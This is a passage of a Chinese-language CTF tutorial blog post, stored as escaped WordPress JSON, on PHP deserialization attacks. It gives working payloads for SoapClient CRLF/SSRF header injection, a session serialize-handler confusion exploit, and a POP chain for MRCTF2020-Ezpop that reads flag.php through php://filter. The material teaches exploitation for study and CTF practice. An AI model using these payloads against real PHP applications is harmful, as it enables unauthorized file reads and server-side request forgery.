\u6ce8\u610f<\/strong>\uff1a\u63d2\u5165\\r\\n<\/code>\u9700\u8981\u7528\u53cc\u5f15\u53f7\u5b57\u7b26\uff0c\u5982\u679c\u7528\u5355\u5f15\u53f7\u5b57\u7b26\u5219\u9700\u8981\u7528str_replace<\/code>\u51fd\u6570\u8fdb\u884c\u66ff\u6362<\/p>\n\n\n\n
$a = str_replace('^^',\"\\r\\n\",$a);<\/pre>\n\n\n\n
\"image-20210710162759333\"\/<\/div><\/figure>\n\n\n\n
\u5b9e\u6218<\/h3>\n\n\n\n
flag.php<\/p>\n\n\n\n
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);\narray_pop($xff);\n$ip = array_pop($xff);\n\u200b\nif($ip!=='127.0.0.1'){\n    die('error');\n}else{\n    $token = $_POST['token'];\n    if($token=='ctfshow'){\n        file_put_contents('flag.txt',$flag);\n    }\n}<\/code><\/pre>\n\n\n\n
\u9700\u8981\u4f2a\u9020XFF\u5934\u4e3a127.0.0.1\uff0c\u5e76\u4e14\u7531\u4e8earray_pop<\/code>\u5b58\u5728\u9700\u8981\u5199\u4e09\u6b21\uff0cPOST\u4f20\u53c2\u5165token<\/p>\n\n\n\n
\u6700\u540e\u5199\u5165\u5230flag.txt\u4e2d<\/p>\n\n\n\n
\u6700\u7ec8payload\uff1a<\/p>\n\n\n\n
<?php
$ua = \"ctfshow\\r\\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\\r\\nContent-Type:application\/x-www-form-urlencoded\\r\\nContent-Length:13\\r\\n\\r\\ntoken=ctfshow\";
\u200b
$client = new SoapClient(null,array('uri' => 'http:\/\/127,0.0.1\/','location' => 'http:\/\/127.0.0.1\/flag.php','user_agent' => $ua));
\u200b
echo urlencode(serialize($client));<\/code><\/pre>\n\n\n\n
php-session\u53cd\u5e8f\u5217\u5316<\/h2>\n\n\n\n
session<\/h3>\n\n\n\n
\u5728\u8ba1\u7b97\u673a\u4e2d\uff0c\u5c24\u5176\u662f\u5728\u7f51\u7edc\u5e94\u7528\u4e2d\uff0c\u79f0\u4e3a\u201c\u4f1a\u8bdd\u63a7\u5236\u201d\u3002Session \u5bf9\u8c61\u5b58\u50a8\u7279\u5b9a\u7528\u6237\u4f1a\u8bdd\u6240\u9700\u7684\u5c5e\u6027\u53ca\u914d\u7f6e\u4fe1\u606f\u3002\u8fd9\u6837\uff0c\u5f53\u7528\u6237\u5728\u5e94\u7528\u7a0b\u5e8f\u7684 Web \u9875\u4e4b\u95f4\u8df3\u8f6c\u65f6\uff0c\u5b58\u50a8\u5728 Session \u5bf9\u8c61\u4e2d\u7684\u53d8\u91cf\u5c06\u4e0d\u4f1a\u4e22\u5931\uff0c\u800c\u662f\u5728\u6574\u4e2a\u7528\u6237\u4f1a\u8bdd\u4e2d\u4e00\u76f4\u5b58\u5728\u4e0b\u53bb\u3002\u5f53\u7528\u6237\u8bf7\u6c42\u6765\u81ea\u5e94\u7528\u7a0b\u5e8f\u7684 Web \u9875\u65f6\uff0c\u5982\u679c\u8be5\u7528\u6237\u8fd8\u6ca1\u6709\u4f1a\u8bdd\uff0c\u5219 Web \u670d\u52a1\u5668\u5c06\u81ea\u52a8\u521b\u5efa\u4e00\u4e2a Session \u5bf9\u8c61\u3002\u5f53\u4f1a\u8bdd\u8fc7\u671f\u6216\u88ab\u653e\u5f03\u540e\uff0c\u670d\u52a1\u5668\u5c06\u7ec8\u6b62\u8be5\u4f1a\u8bdd\u3002<\/p>\n\n\n\n
\u5f53\u7b2c\u4e00\u6b21\u8bbf\u95ee\u7f51\u7ad9\u65f6\uff0cSeesion_start()\u51fd\u6570<\/strong>\u5c31\u4f1a\u521b\u5efa\u4e00\u4e2a\u552f\u4e00\u7684Session ID\uff0c\u5e76\u81ea\u52a8\u901a\u8fc7HTTP\u7684\u54cd\u5e94\u5934\uff0c\u5c06\u8fd9\u4e2aSession ID\u4fdd\u5b58\u5230\u5ba2\u6237\u7aefCookie\u4e2d\u3002\u540c\u65f6\uff0c\u4e5f\u5728\u670d\u52a1\u5668\u7aef\u521b\u5efa\u4e00\u4e2a\u4ee5Session ID\u547d\u540d\u7684\u6587\u4ef6<\/strong>\uff0c\u7528\u4e8e\u4fdd\u5b58\u8fd9\u4e2a\u7528\u6237\u7684\u4f1a\u8bdd\u4fe1\u606f\u3002\u5f53\u540c\u4e00\u4e2a\u7528\u6237\u518d\u6b21\u8bbf\u95ee\u8fd9\u4e2a\u7f51\u7ad9\u65f6\uff0c\u4e5f\u4f1a\u81ea\u52a8\u901a\u8fc7HTTP\u7684\u8bf7\u6c42\u5934\u5c06Cookie\u4e2d\u4fdd\u5b58\u7684Seesion ID\u518d\u643a\u5e26\u8fc7\u6765\uff0c\u8fd9\u65f6Session_start()\u51fd\u6570\u5c31\u4e0d\u4f1a\u518d\u53bb\u5206\u914d\u4e00\u4e2a\u65b0\u7684Session ID\uff0c\u800c\u662f\u5728\u670d\u52a1\u5668\u7684\u786c\u76d8\u4e2d\u53bb\u5bfb\u627e\u548c\u8fd9\u4e2aSession ID\u540c\u540d\u7684Session\u6587\u4ef6\uff0c\u5c06\u8fd9\u4e4b\u524d\u4e3a\u8fd9\u4e2a\u7528\u6237\u4fdd\u5b58\u7684\u4f1a\u8bdd\u4fe1\u606f\u8bfb\u51fa\uff0c\u5728\u5f53\u524d\u811a\u672c\u4e2d\u5e94\u7528\uff0c\u8fbe\u5230\u8ddf\u8e2a\u8fd9\u4e2a\u7528\u6237\u7684\u76ee\u7684\u3002<\/p>\n\n\n\n
session\u7684\u5b58\u50a8\u673a\u5236<\/h3>\n\n\n\n
php\u4e2d\u7684session\u4e2d\u7684\u5185\u5bb9\u5e76\u4e0d\u662f\u653e\u5728\u5185\u5b58\u4e2d\u7684\uff0c\u800c\u662f\u4ee5\u6587\u4ef6\u7684\u65b9\u5f0f<\/strong>\u6765\u5b58\u50a8\u7684\uff0c\u5b58\u50a8\u65b9\u5f0f\u5c31\u662f\u7531\u914d\u7f6e\u9879session.save_handler<\/strong>\u6765\u8fdb\u884c\u786e\u5b9a\u7684\uff0c\u9ed8\u8ba4\u662f\u4ee5\u6587\u4ef6\u7684\u65b9\u5f0f\u5b58\u50a8\u3002 \u5b58\u50a8\u7684\u6587\u4ef6\u662f\u4ee5sess_sessionid\u6765\u8fdb\u884c\u547d\u540d\u7684<\/p>\n\n\n\n
\u51fd\u6570\u540d\u79f0<\/th>\u529f\u80fd<\/th>\u4f8b\u5b50<\/th><\/tr><\/thead>
php_serialize<\/td>\u7ecf\u8fc7serialize()\u51fd\u6570\u5e8f\u5217\u5316\u6570\u7ec4<\/td>a:1:{s:4:”user”;s:5:”admin”;}<\/td><\/tr>
php<\/td>\u952e\u540d+\u7ad6\u7ebf<\/strong>+\u7ecf\u8fc7serialize()\u51fd\u6570\u5904\u7406\u7684\u503c<\/td>user|s:5:”admin”;<\/td><\/tr>
php_binary<\/td>\u952e\u540d\u7684\u957f\u5ea6\u5bf9\u5e94\u7684ascii\u5b57\u7b26+\u952e\u540d+serialize()\u51fd\u6570\u5e8f\u5217\u5316\u7684\u503c<\/td><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
php.ini\u4e2d\u4e00\u4e9bsession\u914d\u7f6e<\/h3>\n\n\n\n
session.save_path=”” –\u8bbe\u7f6esession\u7684\u5b58\u50a8\u8def\u5f84 session.save_handler=””\u2013\u8bbe\u5b9a\u7528\u6237\u81ea\u5b9a\u4e49\u5b58\u50a8\u51fd\u6570\uff0c\u5982\u679c\u60f3\u4f7f\u7528PHP\u5185\u7f6e\u4f1a\u8bdd\u5b58\u50a8\u673a\u5236\u4e4b\u5916\u7684\u53ef\u4ee5\u4f7f\u7528\u672c\u51fd\u6570(\u6570\u636e\u5e93\u7b49\u65b9\u5f0f) session.auto_start boolen\u2013\u6307\u5b9a\u4f1a\u8bdd\u6a21\u5757\u662f\u5426\u5728\u8bf7\u6c42\u5f00\u59cb\u65f6\u542f\u52a8\u4e00\u4e2a\u4f1a\u8bdd\u9ed8\u8ba4\u4e3a0\u4e0d\u542f\u52a8 session.serialize_handler string\u2013\u5b9a\u4e49\u7528\u6765\u5e8f\u5217\u5316\/\u53cd\u5e8f\u5217\u5316\u7684\u5904\u7406\u5668\u540d\u5b57\u3002\u9ed8\u8ba4\u4f7f\u7528php<\/p><\/blockquote>\n\n\n\n
\u4f7f\u7528\u4e0d\u540c\u7684\u5f15\u64ce\u6765\u5904\u7406session\u6587\u4ef6<\/h3>\n\n\n\n
php\u5f15\u64ce\u7684\u5b58\u50a8\u683c\u5f0f\u662f\u952e\u540d|serialized_string<\/code>\uff0c\u800cphp_serialize\u5f15\u64ce\u7684\u5b58\u50a8\u683c\u5f0f\u662fserialized_string<\/code>\u3002\u5982\u679c\u7a0b\u5e8f\u4f7f\u7528\u4e24\u4e2a\u5f15\u64ce\u6765\u5206\u522b\u5904\u7406\u7684\u8bdd\u5c31\u4f1a\u51fa\u73b0\u95ee\u9898<\/p>\n\n\n\n
abc|O:4:”user”:1:{s:8:”username”;s:5:”admin”;} php\u5f15\u64ce a:1:{s:3:”abc”;O:4:”user”:1:{s:8:”username”;s:5:”admin”;}} php_serialize\u5f15\u64ce<\/p><\/blockquote>\n\n\n\n
\u672c\u5730\u642d\u5efa\u73af\u5883<\/p>\n\n\n\n
\/\/ 1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['y4'] = $_GET['a'];
var_dump($_SESSION);
\u200b
\/\/2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
    public $name;
    function __wakeup(){
        echo $this->name;
    }
}<\/code><\/pre>\n\n\n\n
\u9996\u5148\u8bbf\u95ee1.php\uff0c\u4f20\u5165\u53c2\u6570a=|O:4:\"test\":1:{s:4:\"name\";s:8:\"y4tacker\";}<\/code>\u518d\u8bbf\u95ee2.php\uff0c\u6ce8\u610f\u4e0d\u8981\u5fd8\u8bb0|<\/code><\/p>\n\n\n\n
\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"\/<\/div><\/figure>\n\n\n\n
\u7531\u4e8e1.php<\/code>\u662f\u4f7f\u7528php_serialize<\/code>\u5f15\u64ce\u5904\u7406\uff0c\u56e0\u6b64\u53ea\u4f1a\u628a'|'<\/code>\u5f53\u505a\u4e00\u4e2a\u6b63\u5e38\u7684\u5b57\u7b26\u3002\u7136\u540e\u8bbf\u95ee2.php<\/code>\uff0c\u7531\u4e8e\u7528\u7684\u662fphp<\/code>\u5f15\u64ce\uff0c\u56e0\u6b64\u9047\u5230'|'<\/code>\u65f6\u4f1a\u5c06\u4e4b\u770b\u505a\u952e\u540d\u4e0e\u503c\u7684\u5206\u5272\u7b26\uff0c\u4ece\u800c\u9020\u6210\u4e86\u6b67\u4e49\uff0c\u5bfc\u81f4\u5176\u5728\u89e3\u6790session\u6587\u4ef6\u65f6\u76f4\u63a5\u5bf9'|'<\/code>\u540e\u7684\u503c\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u5904\u7406\u3002<\/p>\n\n\n\n
POP\u94fe\u7684\u6784\u9020\u5229\u7528<\/h2>\n\n\n\n
POP\u94fe\u7b80\u5355\u4ecb\u7ecd<\/h3>\n\n\n\n
\u524d\u9762\u6240\u8bb2\u89e3\u7684\u5e8f\u5217\u5316\u653b\u51fb\u66f4\u591a\u7684\u662f\u9b54\u672f\u65b9\u6cd5\u4e2d\u51fa\u73b0\u4e00\u4e9b\u5229\u7528\u7684\u6f0f\u6d1e\uff0c\u56e0\u4e3a\u81ea\u52a8\u8c03\u7528\u800c\u89e6\u53d1\u6f0f\u6d1e\uff0c\u4f46\u5982\u679c\u5173\u952e\u4ee3\u7801\u4e0d\u5728\u9b54\u672f\u65b9\u6cd5\u4e2d\uff0c\u800c\u662f\u5728\u4e00\u4e2a\u7c7b\u7684\u666e\u901a\u65b9\u6cd5\u4e2d\u3002\u8fd9\u65f6\u5019\u53ef\u4ee5\u901a\u8fc7\u5bfb\u627e\u76f8\u540c\u7684\u51fd\u6570\u540d\u5c06\u7c7b\u7684\u5c5e\u6027\u548c\u654f\u611f\u51fd\u6570\u7684\u5c5e\u6027\u8054\u7cfb\u8d77\u6765<\/p>\n\n\n\n
\u7b80\u5355\u6848\u4f8b\u8bb2\u89e3<\/h3>\n\n\n\n
\u9996\u5148\u770b\u770b\u7b80\u5355\u7684MRCTF2020-Ezpop<\/p>\n\n\n\n
<?php
\u200b
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
\u200b
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source.\"<br>\";
    }
    public function __toString(){
        return $this->str->source;
    }
\u200b
    public function __wakeup(){
        if(preg_match(\"\/gopher|http|file|ftp|https|dict|\\.\\.\/i\", $this->source)) {
            echo \"hacker\";
            $this->source = \"index.php\";
        }
    }
}
\u200b
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
\u200b
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
\u200b<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u6211\u76f4\u63a5\u8bf4\u5229\u7528\u601d\u8def\uff0c\u9996\u5148\u9006\u5411\u5206\u6790\uff0c\u6211\u4eec\u6700\u7ec8\u662f\u5e0c\u671b\u901a\u8fc7Modifier\u5f53\u4e2d\u7684append\u65b9\u6cd5\u5b9e\u73b0\u672c\u5730\u6587\u4ef6\u5305\u542b\u8bfb\u53d6\u6587\u4ef6\uff0c\u56de\u6eaf\u5230\u8c03\u7528\u5b83\u7684invoke\uff0c\u5f53\u6211\u4eec\u5c06\u5bf9\u8c61\u8c03\u7528\u4e3a\u51fd\u6570\u65f6\u89e6\u53d1,\u53d1\u73b0\u5728Test\u7c7b\u5f53\u4e2d\u7684<\/strong>get\u65b9\u6cd5\uff0c\u518d\u56de\u6eaf\u5230Show\u5f53\u4e2d\u7684toString\uff0c\u518d\u56de\u6eaf\u5230Show\u5f53\u4e2d\u7684<\/strong>construct\u5f53\u4e2d\u6709echo $this->source\u53ef\u4ee5\u8c03\u7528__toString<\/p>\n\n\n\n
\u56e0\u6b64\u4e0d\u96be\u6784\u9020pop\u94fe<\/p>\n\n\n\n
<?php
ini_set('memory_limit','-1');
class Modifier {
    protected  $var = 'php:\/\/filter\/read=convert.base64-encode\/resource=flag.php';
}
\u200b
class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        $this->str = new Test();
    }
}
\u200b
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
\u200b<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
serialize()\u51fd\u6570 \u201c\u6240\u6709php\u91cc\u9762\u7684\u503c\u90fd\u53ef\u4ee5\u4f7f\u7528\u51fd\u6570serialize()\u6765\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u5b57\u8282\u6d41\u7684\u5b57\u7b26 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[18],"_links":{"self":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/230"}],"collection":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=230"}],"version-history":[{"count":1,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/230\/revisions"}],"predecessor-version":[{"id":231,"href":"http:\/\/101.34.19.194\/index.php?rest_route=\/wp\/v2\/posts\/230\/revisions\/231"}],"wp:attachment":[{"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=230"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.34.19.194\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}